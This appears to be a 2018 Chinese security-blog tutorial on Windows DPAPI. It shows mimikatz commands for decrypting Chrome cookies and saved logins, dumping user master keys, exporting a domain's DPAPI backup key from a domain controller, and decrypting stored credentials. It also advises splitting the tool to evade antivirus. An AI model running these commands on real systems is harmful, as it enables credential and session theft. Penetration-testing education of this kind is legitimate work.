学习与实践
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
Mimikatz之DPAPI学习与实践
阅读量 33214 | 稿费 300
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-09-06 11:30:00
0x00 前言
本文就讲解下Windows下的DPAPI,并且利用mimikatz来解密那些由DPAPI加密的文件。本文使用mimikatz版本2.1.1-20180820,Chrome 版本68.0.3440.106 (Official Build) (64-bit)。
0x01 什么是DPAPI
DPAPI 英文全称:Data Protection API ,顾名思义就是用来保护数据的接口。这个接口在windows中大量的使用来加密数据,比如chrome的cookies和login data。
更多的详情可以看这篇文章。 在这里我大致的把这篇文章总结下也是更加详细的介绍DPAPI:
1.DPAPI 使用了叫做Master Key的东西,用来解密和加密。Master Key 并不会存在在磁盘上,是通过用户的密码HASH加密生成。
2.Master Key 的第一种实现方式用用户NTLM Hash来加密。由于NTLM Hash在Windows中有着各种重要的作用,而且NTLM Hash是存储在SAM文件中,只要攻击者获取到Hash就可以用来生成Master Key来解密数据了。所以为了防止这样的事,就有了第二种:直接用用户密码生成,函数:SHA‑1(UTF16LE(user_password)) 。
就算攻击者获取到NTLM,如果不能解密出用户的密码不能生成Master Key。
3.文章中还提到了ARSO和TBAL 。ARSO 英文全称:Automatic Restart Sign-On 。TBAL 文中作者猜测AL是Auto Logon,不清楚TB什么意思。但是评论中有个猜测是Trusted Boot Auto Logon。都是在WIndows 8和Windows 10中才添加的新特性,就是保存了用户会话,恢复到重启之前的状态,也就是在重启之前密码都保存在磁盘中,具体可以看看文章的详细说明。
4.视频演示了整个过程,关闭虚拟机,通过挂载磁盘的方式,来读取security与system文件获取TBAL中保存的SHA1 HASH,之后通过这个HASH与用户的GUID就可以解密得到Master Key。其中也有这样一句话:but if it were a real computer, imagine physically connecting the HDD to your machine. 所以~~
微软官方文章更加详细介绍了生成Master key与加密Master Key,及怎么备份。而上面第四步就是解密,我这里利用一个在线工具演示下生成Matser key。
0x02 DPAPI的利用
1.Chrome Cookies/Login Data
本地用户登录时,解密Cookies:
dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultCookies" /unprotect
如果通过某些方式从其它电脑获取到cookie到本地:
先执行上面这条命令看看,会报错:
提示需要GUID {219d25e6-27f5-4754-8bcb-2aa77df53b68} 这个用户的Master key才能解密,所以在你拿回这个cookie文件时,要把那个机器的masterkey导出一下,两个命令privilege::debug sekurlsa::dpapi:
接下来就dpapi::chrome /in:"c:tempCookies" /masterkey:上图的masterkey值 /unprotect
而如果是域用户的话,是由域用户的master key就是由域的DPAPI key来保护的,lsadump::backupkeys /system:DC CONTROLLER /export会得到一个PVK文件,可以用来解密所有域用户的Master Key,而且这个key是不会改变的。dpapi::masterkey /in:"C:UsersxxxxxAppDataRoamingMicrosoftProtectsid值ca748af3–8b95–40ae-8134-cb9534762688" /pvk:导出的PVK文件这里就可以解密得到域用户的Master Key值。然后跟上面一样dpapi::chrome /in:Cookies /masterkey:a3fv34aedd7...,这样就能解密Cookies的内容了。
导出pvk:
利用PVK解密得到masterkey值,后面一样解密就是了:
解密保存的密码跟上面类似,把传入文件改成login data:
2.Rdg 文件
最新release版本添加了解密rdg的功能,windows中C:WindowsSystem32configsystemprofileAppDataLocalMicrosoftCredentialsxxx中保存的信息与WIFI密码的保存都是利用了DPAPI来加密:
先向DC进行RPC查询出key,利用key,dpapi::cred /in:C:UsersxxAppDataLocalMicrosoftCredentialsxxxxx /unprotect /masterkey:X解密Credentials下保存的凭据:
0X03 总结
现在mimikatz功能越来越多,并不是所有功能都会在当时的渗透环境中使用,其实大家完全可以把其中每个模块单独分出来用,这样体积可以减少,而且还可以过下静态查杀。windows下还有很多接口是MSDN中没有文档或者很少文档的,很多大佬应该都FUZZ出来一些了。可以看看这位BLOG 经常有windows的一些TRICKS。
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/158667
安全客 - 有思想的安全新媒体
渗透测试 Mimikatz 域渗透 dpapi masterkey
anw2 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论
发表你的评论吧
昵称
你全家都是黑客
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
anw2
这个人太懒了,签名都懒得写一个
文章
9
粉丝
2
TA的文章
Mimikatz之DPAPI学习与实践
2018-09-06 11:30:00
python 执行系统命令的多种方式
2018-08-21 14:30:15
域之间渗透
2018-07-23 14:00:03
Active Directory 数据库详解
2018-07-10 14:00:22
多种方式执行XSS
2018-06-21 10:55:21
输入关键字搜索内容
相关文章
渗透测试实战-Fowsniff靶机入侵+HTB(hackthebox)入坑
萌新科普 手把手教你如何用MSF进行后渗透测试
渗透测试实战-Raven:1靶机入侵
新书推荐 | 网络攻防实战研究:漏洞利用与提权
渗透测试实战-bulldog 2靶机入侵
独角兽暑期训练营系列 | Windows Hash传递攻击的本质、缓解及绕过
奇淫技巧之突破Runtime.exec限制获取shell 命令执行环境
热门推荐
文章目录
0x00 前言
0x01 什么是DPAPI
0x02 DPAPI的利用
1.Chrome Cookies/Login Data
2.Rdg 文件
0X03 总结
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论